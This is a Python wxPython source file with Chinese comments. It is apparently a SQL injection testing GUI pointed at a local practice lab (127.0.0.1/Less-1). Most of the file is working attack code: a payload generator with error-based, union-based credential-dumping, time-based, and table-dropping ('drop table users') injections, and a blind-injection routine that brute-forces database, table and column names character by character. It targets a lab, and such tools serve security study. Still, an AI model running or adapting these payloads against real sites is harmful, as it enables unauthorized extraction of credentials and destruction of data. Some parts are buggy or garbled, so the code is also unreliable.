import _thread

import wx
import wx.xrc
import wx.html
import wx.html2

import requests
import time


class MyFrame1(wx.Frame):

    def __init__(self, parent):
        wx.Frame.__init__(self, parent, id=wx.ID_ANY, title=wx.EmptyString, pos=wx.DefaultPosition,
                          size=wx.Size(500, 300), style=wx.DEFAULT_FRAME_STYLE | wx.TAB_TRAVERSAL)

        self.SetSizeHints(wx.DefaultSize, wx.DefaultSize)
        #  全局垂直布局容器
        bSizer4 = wx.BoxSizer(wx.VERTICAL)
        # 第一个水平布局容器
        u = "http://127.0.0.1/Less-1/"

        bSizer5 = wx.BoxSizer(wx.HORIZONTAL)

        self.label1 = wx.StaticText(self, -1)
        self.label1.SetLabel("地址:")
        bSizer5.Add(self.label1, proportion=1, flag=wx.ALIGN_CENTER | wx.LEFT, border=5)

        self.m_textCtrl2 = wx.TextCtrl(self, wx.ID_ANY, u, wx.DefaultPosition, wx.DefaultSize, 0)
        self.m_textCtrl2.SetMinSize(wx.Size(400, -1))

        bSizer5.Add(self.m_textCtrl2, 1, wx.ALL, 5)

        self.m_button7 = wx.Button(self, wx.ID_ANY, u"注入测试", wx.DefaultPosition, wx.DefaultSize, 0)
        self.m_button7.Bind(wx.EVT_BUTTON, self.hanlderClick)

        bSizer5.Add(self.m_button7, 0, wx.ALL, 5)
        bSizer4.Add(bSizer5, 0, wx.EXPAND, 5)
        # 第一个水平布局结束

        # 第二个布局开始
        bSizer10 = wx.BoxSizer(wx.HORIZONTAL)
        ##标签
        self.label2 = wx.StaticText(self, -1)
        self.label2.SetLabel("参数拼接:")
        bSizer10.Add(self.label2, proportion=1, flag=wx.ALIGN_CENTER | wx.LEFT, border=5)
        ##拼接参数输入框
        self.m_textCtrl10 = wx.TextCtrl(self, wx.ID_ANY, "", wx.DefaultPosition, wx.DefaultSize, 0)
        self.m_textCtrl10.SetMinSize(wx.Size(100, -1))

        bSizer10.Add(self.m_textCtrl10, 1, wx.ALIGN_CENTER | wx.LEFT, 0)

        bSizer4.Add(bSizer10, 0, wx.EXPAND, 5)
        # 第二个布局结束



        bSizer6 = wx.BoxSizer(wx.HORIZONTAL)
        self.m_radioBtn1 = wx.RadioButton(self, wx.ID_ANY, u"联合注入", wx.DefaultPosition, wx.DefaultSize, 0)

        bSizer6.Add(self.m_radioBtn1, 0, wx.ALL, 5)

        self.m_radioBtn2 = wx.RadioButton(self, wx.ID_ANY, u"盲注", wx.DefaultPosition, wx.DefaultSize, 0)
        bSizer6.Add(self.m_radioBtn2, 0, wx.ALL, 5)

        self.m_radioBtn3 = wx.RadioButton(self, wx.ID_ANY, u"报错注入", wx.DefaultPosition, wx.DefaultSize, 0)
        bSizer6.Add(self.m_radioBtn3, 0, wx.ALL, 5)

        self.m_radioBtn4 = wx.RadioButton(self, wx.ID_ANY, u"延时注入", wx.DefaultPosition, wx.DefaultSize, 0)
        bSizer6.Add(self.m_radioBtn4, 0, wx.ALL, 5)

        bSizer4.Add(bSizer6, 0, wx.EXPAND, 5)

        bSizer7 = wx.BoxSizer(wx.VERTICAL)

        bSizer4.Add(bSizer7, 1, wx.EXPAND, 5)

        # 创建WebView控件
        self.address = u
        self.webview = wx.html2.WebView.New(self)
        self.webview.LoadURL(self.address)
        # 将WebView控件添加到布局
        sizer = wx.BoxSizer(wx.VERTICAL)
        sizer.Add(self.webview, 1, wx.EXPAND)
        bSizer4.Add(sizer, 1, wx.EXPAND, 5)

        self.SetSizer(bSizer4)

        self.Layout()

        self.Centre(wx.BOTH)
        self.Show(True)

    def __del__(self):
        pass

    def getPcHeader(self):
        return [
            # 谷歌
            'Mozilla/5.0.html (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.html.2171.71 Safari/537.36',
            'Mozilla/5.0.html (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.html.1271.64 Safari/537.11',
            'Mozilla/5.0.html (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.html.648.133 Safari/534.16',
            # 火狐
            'Mozilla/5.0.html (Windows NT 6.1; WOW64; rv:34.0.html) Gecko/20100101 Firefox/34.0.html',
            'Mozilla/5.0.html (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10',
            # opera
            'Mozilla/5.0.html (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.html.2171.95 Safari/537.36 OPR/26.0.html.1656.60',
            # qq浏览器
            'Mozilla/5.0.html (compatible; MSIE 9.0.html; Windows NT 6.1; WOW64; Trident/5.0.html; SLCC2; .NET CLR 2.0.html.50727; .NET CLR 3.5.30729; .NET CLR 3.0.html.30729; Media Center PC 6.0.html; .NET4.0C; .NET4.0E; QQBrowser/7.0.html.3698.400)',
            # 搜狗浏览器
            'Mozilla/5.0.html (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.html.963.84 Safari/535.11 SE 2.X MetaSr 1.0.html',
            # 360浏览器
            'Mozilla/5.0.html (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.html.1599.101 Safari/537.36',
            'Mozilla/5.0.html (Windows NT 6.1; WOW64; Trident/7.0.html; rv:11.0.html) like Gecko',
            # uc浏览器
            'Mozilla/5.0.html (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.html.2125.122 UBrowser/4.0.html.3214.0.html Safari/537.36',
        ]

    def getMobileHeader(self):
        return [
            # IPhone
            'Mozilla/5.0.html (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.html.2 Mobile/8J2 Safari/6533.18.5',
            # IPAD
            'Mozilla/5.0.html (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.html.2 Mobile/8C148 Safari/6533.18.5',
            'Mozilla/5.0.html (iPad; U; CPU OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.html.2 Mobile/8J2 Safari/6533.18.5',
            # Android
            'Mozilla/5.0.html (Linux; U; Android 2.2.1; zh-cn; HTC_Wildfire_A3333 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0.html Mobile Safari/533.1',
            'Mozilla/5.0.html (Linux; U; Android 2.3.7; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0.html Mobile Safari/533.1',
            # QQ浏览器 Android版本
            'MQQBrowser/26 Mozilla/5.0.html (Linux; U; Android 2.3.7; zh-cn; MB200 Build/GRJ22; CyanogenMod-7) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0.html Mobile Safari/533.1',
            # Android Opera Mobile
            'Opera/9.80 (Android 2.3.4; Linux; Opera Mobi/build-1107180945; U; en-GB) Presto/2.8.149 Version/11.10',
            # Android Pad Moto Xoom
            'Mozilla/5.0.html (Linux; U; Android 3.0.html; en-us; Xoom Build/HRI39) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0.html Safari/534.13',
        ]

    def guessDataBase(self, url):
        url = url + "'+"

        db_length = 1
        db_url = ''
        db_name = ''
        db_ascii = 1
        db_place = 1
        tb_sum = 1
        tb_url = ''
        tb_num1 = 0
        tb_lname = 0
        tb_array = []
        tb_nameasc = 0
        tb_namenum = 0
        tb_namepla = 0
        tb_nameurl = ''
        tb_name = ''
        tb_arrayname = []
        # 猜解数据库名长度
        print('开始猜解数据库名长度')

        for db_length in range(1, 100):
            db_url = f"{url}and {db_length}=(select length(database()))--+"
            headers = {
                'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
            r = requests.get(db_url, headers=headers)
            print("猜解内容" + r.text)
            # self.webview.LoadURL(db_url)
            if 'Your Login name' in r.text:
                print('[!] ' + db_url)
                print('猜解结束')
                break
            else:
                print('[x] ' + db_url)
        print('数据库名长度：%d' % (db_length))
        pass
        # 猜解数据库名
        # 猜解数据库名ascii(substr(database(),x,1)
        print('----------------------------------------------')
        print('\n\n正在猜解数据库名.......')
        db_urlname = 'and %d=ascii(substr(database(),%d,1))--+' % (db_ascii, db_place)
        for db_place in range(1, db_length + 1):
            for db_ascii in range(0, 127):
                db_urlname = url + 'and %d=ascii(substr(database(),%d,1))--+' % (db_ascii, db_place)
                headers = {
                    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
                r = requests.get(db_urlname, headers=headers)
                # self.webview.SetPage(r.text, "")
                if 'Your Login name' in r.text:
                    db_name = db_name + chr(db_ascii)
                    print('[!] ' + db_name)
                    break
                else:
                    continue
        print('end.......')
        print('数据库名：' + db_name)
        # 猜解表数 select count(table_name)  from information_schema.tables where table_schema='security';
        print('\n\n开始猜解表数.......')
        for tb_sum in range(1, 10):
            tb_url = url + '+and %d=(select count(table_name)  from information_schema.tables where table_schema=database())--+' % (
                tb_sum)
            headers = {
                'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
            r = requests.get(tb_url, headers=headers)
            # self.webview.SetPage(r.text, "")
            if 'Your Login name' in r.text:
                print('[!] ' + tb_url)
                break
            else:
                print('[x] ' + tb_url)
        print('猜解表数结束')
        print('表数：%d' % (tb_sum))

        print('\n\n开始猜解每一个表名长度')
        for tb_num1 in range(0, tb_sum + 1):
            for tb_lname in range(1, 20):
                tb_lengthurl = url + '+and %d=length((select table_name from information_schema.tables where table_schema=database() limit %d,1 ))--+' % (
                    tb_lname, tb_num1)
                headers = {
                    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
                r = requests.get(tb_lengthurl, headers=headers)
                # self.webview.SetPage(r.text, "")
                if 'Your Login name' in r.text:
                    tb_array.append(tb_lname)
                    print('[!] %d' % (tb_lname) + '>>%s' % (tb_lengthurl))
                    tb_lname = 0
                    break
                else:
                    continue
        for i in range(0, len(tb_array)):
            print('猜解结束第%d个表名长度分别为：%d' % (i + 1, tb_array[i]))
        print('猜解各个表名长度结束')
        print('\n\n')
        # 猜解表名 select substr((select table_name from information_schema.tables where table_schema=database() limit 0,1  ),1,1);
        print('猜解各个表名开始...........')
        for tb_namenum in range(0, tb_sum):
            for tb_namepla in range(1, tb_array[tb_namenum] + 1):
                for tb_nameasc in range(0, 128):
                    tb_nameurl = url + 'and %d=ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1  ),%d,1))--+' % (
                        tb_nameasc, tb_namenum, tb_namepla)
                    headers = {
                        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
                    r = requests.get(tb_nameurl, headers=headers)
                    # self.webview.SetPage(r.text, "")
                    if 'Your Login name' in r.text:
                        tb_name = tb_name + chr(tb_nameasc)
                        print('[!] ' + tb_name)
                        break
                    else:
                        continue
            tb_arrayname.append(tb_name)
            tb_name = ''
            print('\n')
        for i in range(0, len(tb_arrayname)):
            print('猜解结束第%d个表名为：%s' % (i + 1, tb_arrayname[i]))
        # 猜解列个数
        cl_osum = []
        print('\n\n开始猜解列个数...........')
        for i in range(tb_sum):
            for j in range(1, 10):
                cl_sumurl = url + 'and %d=(select count(column_name) from information_schema.columns where table_name = "%s")--+' % (
                    j, tb_arrayname[i])
                headers = {
                    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}

                r = requests.get(cl_sumurl, headers=headers)
                # self.webview.SetPage(r.text, "")
                if 'Your Login name' in r.text:
                    cl_osum.append(j)
                    print('[!] ' + cl_sumurl + '>>匹配成功')
                    break
                else:
                    continue
        for i in range(0, tb_sum):
            print(tb_arrayname[i] + '列数：%d' % (cl_osum[i]))
        print('猜解列个数结束')
        # 猜解每个表的列数
        cl_lensum = []
        cl_lennam = []
        # 计算admin列长度即可
        for j in range(0, 4):
            for l in range(1, 20):
                cl_len = url + 'and %d=length((select column_name from information_schema.columns where table_name="users" limit %d,1 ))--+' % (
                    l, j)
                headers = {
                    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}

                r = requests.get(cl_len, headers=headers)
                # self.webview.SetPage(r.text, "")
                if 'Your Login name' in r.text:
                    cl_lennam.append(l)
                    print('users>>第%d列长度为：%d' % (j + 1, l))
                    break
                else:
                    continue
        print('\n')
        print(cl_lennam)
        # 猜解列名
        cl_name = ''
        cl_namearr = []
        for j in range(0, 3):
            for i in range(cl_lennam[j] + 1):
                for cl_ascii in range(0, 128):
                    cl_admin = url + 'and %d=ascii(substr((select column_name from information_schema.columns where table_name="users" limit %d,1),%d,1))--+' % (
                        cl_ascii, j, i)
                    headers = {
                        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
                    r = requests.get(cl_admin, headers=headers)
                    # self.webview.SetPage(r.text, "")
                    if 'Your Login name' in r.text:
                        cl_name = cl_name + chr(cl_ascii)
                        print('[~]' + cl_name)
                        break
                    else:
                        continue
            cl_name = cl_name.strip('\x00')
            cl_namearr.append(cl_name)
            cl_name = ''
            print('\n')
        print("成功拉" + cl_namearr)

    # 注入测试处理函数
    def hanlderClick(self, event):
        if self.getRadioValue() > 0:
            # 联合
            if self.getRadioValue() == 1:
                self.detect_union_based_injection(self.m_textCtrl2.GetValue())
                pass
            # 布尔
            if self.getRadioValue() == 2:
                self.detect_boolean_injection(self.m_textCtrl2.GetValue())
                pass
            # 基于错误
            if self.getRadioValue() == 3:
                self.detect_error_based_injection(self.m_textCtrl2.GetValue())
                pass
            # 延时注入
            if self.getRadioValue() == 4:
                self.detect_time_based_injection(self.m_textCtrl2.GetValue())
                pass
        else:
            print("啥也没选")
        pass

    def getRadioValue(self):
        if self.m_radioBtn1.GetValue():
            return 1
        if self.m_radioBtn2.GetValue():
            return 2
        if self.m_radioBtn3.GetValue():
            return 3
        if self.m_radioBtn4.GetValue():
            return 4
        return -1
        pass

        # 发送HTTP请求

    def send_request(self, url, payload):
        try:
            response = requests.get(url + payload, timeout=3)
            self.webview.SetPage(response.text, "")
            return response.text
        except:
            pass

    # 检测基于错误的SQL注入
    def detect_error_based_injection(self, url):
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
        payload = self.generate_payload("error")
        response = requests.get(url + payload, timeout=3, headers=headers)
        self.webview.SetPage(response.text, "")
        if "MySQL" in response.text:
            print("[+] Error-based SQL injection vulnerability detected: " + url)
            # 爆破库名
            print(">>>>>正在准备暴力猜解:" + url)

            _thread.start_new_thread(self.guessDataBase, (url + "?id=1",))

    # 检测盲注SQL注入
    def detect_blind_injection(self, url):
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
        for i in range(1, 10):
            payload = self.generate_payload("blind", i)
            start_time = time.time()
            response = requests.get(url + payload, timeout=3, headers=headers)
            self.webview.SetPage(response.text, "")
            response_text = response.text
            end_time = time.time()
            if end_time - start_time > i and response_text is not None:
                print("[+] Blind SQL injection vulnerability detected: " + url)
                # 爆破库名
                print(">>>>>正在准备暴力猜解:" + url)

                _thread.start_new_thread(self.guessDataBase, (url + "?id=1",))
                break

    # 检测堆叠查询SQL注入
    def detect_stacked_query_injection(self, url):
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
        payload = self.generate_payload("stacked_query")
        response = requests.get(url + payload, timeout=3, headers=headers)
        self.webview.SetPage(response.text, "")
        if "users" in response.text:
            print("[+] Stacked query SQL injection vulnerability detected: " + url)
            # 爆破库名
            print(">>>>>正在准备暴力猜解:" + url)

            _thread.start_new_thread(self.guessDataBase, (url + "?id=1",))

    # 检测联合查询SQL注入
    def detect_union_based_injection(self, url):

        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
        payload = self.generate_payload("union_based")
        response = requests.get(url + payload, timeout=3, headers=headers)
        print(url + payload)
        self.webview.SetPage(response.text, "")
        if "1" in response.text and "2" in response.text and "3" in response.text:
            print("[+] Union-based SQL injection vulnerability detected: " + url)
            # 爆破库名
            print(">>>>>正在准备暴力猜解:" + url)

            _thread.start_new_thread(self.guessDataBase, (url + "?id=1",))

    # 检测时间延迟SQL注入
    def detect_time_based_injection(self, url):
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
        for i in range(1, 10):
            payload = self.generate_payload("time_based", i)
            start_time = time.time()
            response = requests.get(url + payload, timeout=3, headers=headers)
            self.webview.SetPage(response.text, "")
            end_time = time.time()
            if end_time - start_time > i and response.text is not None:
                print("[+] Time-based SQL injection vulnerability detected: " + url)
                # 爆破库名
                print(">>>>>正在准备暴力猜解:" + url)

                _thread.start_new_thread(self.guessDataBase, (url + "?id=1",))
                break

    # 检测反射型SQL注入
    def detect_reflected_injection(self, url):
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
        payload = self.generate_payload("reflected")
        response = requests.get(url + payload, timeout=3, headers=headers)
        self.webview.SetPage(response.text, "")
        if "<script>alert(1)</script>" in response.text:
            print("[+] Reflected SQL injection vulnerability detected: " + url)
            # 爆破库名
            print(">>>>>正在准备暴力猜解:" + url)

            _thread.start_new_thread(self.guessDataBase, (url + "?id=1",))

    # 检测存储型SQL注入
    def detect_stored_injection(self, url):
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
        payload = self.generate_payload("stored")
        response = requests.get(url + payload, timeout=3, headers=headers)
        self.webview.SetPage(response.text, "")
        if "users" not in response.text:
            print("[+] Stored SQL injection vulnerability detected: " + url)
            # 爆破库名
            print(">>>>>正在准备暴力猜解:" + url)

            _thread.start_new_thread(self.guessDataBase, (url + "?id=1",))

    # 检测布尔卡类型注入SQL注入
    def detect_boolean_injection(self, url):
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}

        payload = self.generate_payload("boolean")
        response = requests.get(url + payload, timeout=3, headers=headers)
        self.webview.SetPage(response.text, "")
        if "error in your SQL syntax" not in response.text:
            print("[+] Stored SQL injection vulnerability detected: " + url)
            # 爆破库名
            print(">>>>>正在准备暴力猜解:" + url)

            _thread.start_new_thread(self.guessDataBase, (url + "?id=1",))

    # 构造常见的payload
    def generate_payload(self, injection_type, delay=None):
        if injection_type == "error":
            return "?id=1'+and+(updatexml(1,concat(0x7e,(select user()),0x7e),1))--+"
        elif injection_type == "blind":
            return "?id=1'+and+sleep(" + str(delay) + ")--+"
        elif injection_type == "stacked_query":
            return "?id=1'; SELECT * FROM users; --"
        elif injection_type == "union_based":
            return "?id=-1'+UNION+SELECT+1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+"
        elif injection_type == "time_based":
            return "?id=1' and (select sleep(" + str(delay) + "))--+"
        elif injection_type == "reflected":
            return "?id=1'<script>alert(1)</script>"
        elif injection_type == "stored":
            return "?id=1' or 1=1; drop table users; --"
        elif injection_type == 'boolean':
            return "?id=1'+and+substr((select user()),1,1)=+'r'--+"


if __name__ == "__main__":
    app = wx.App(False)  # Create a new app, don't redirect stdout/stderr to a window.
    MyFrame1(None)
    app.MainLoop()
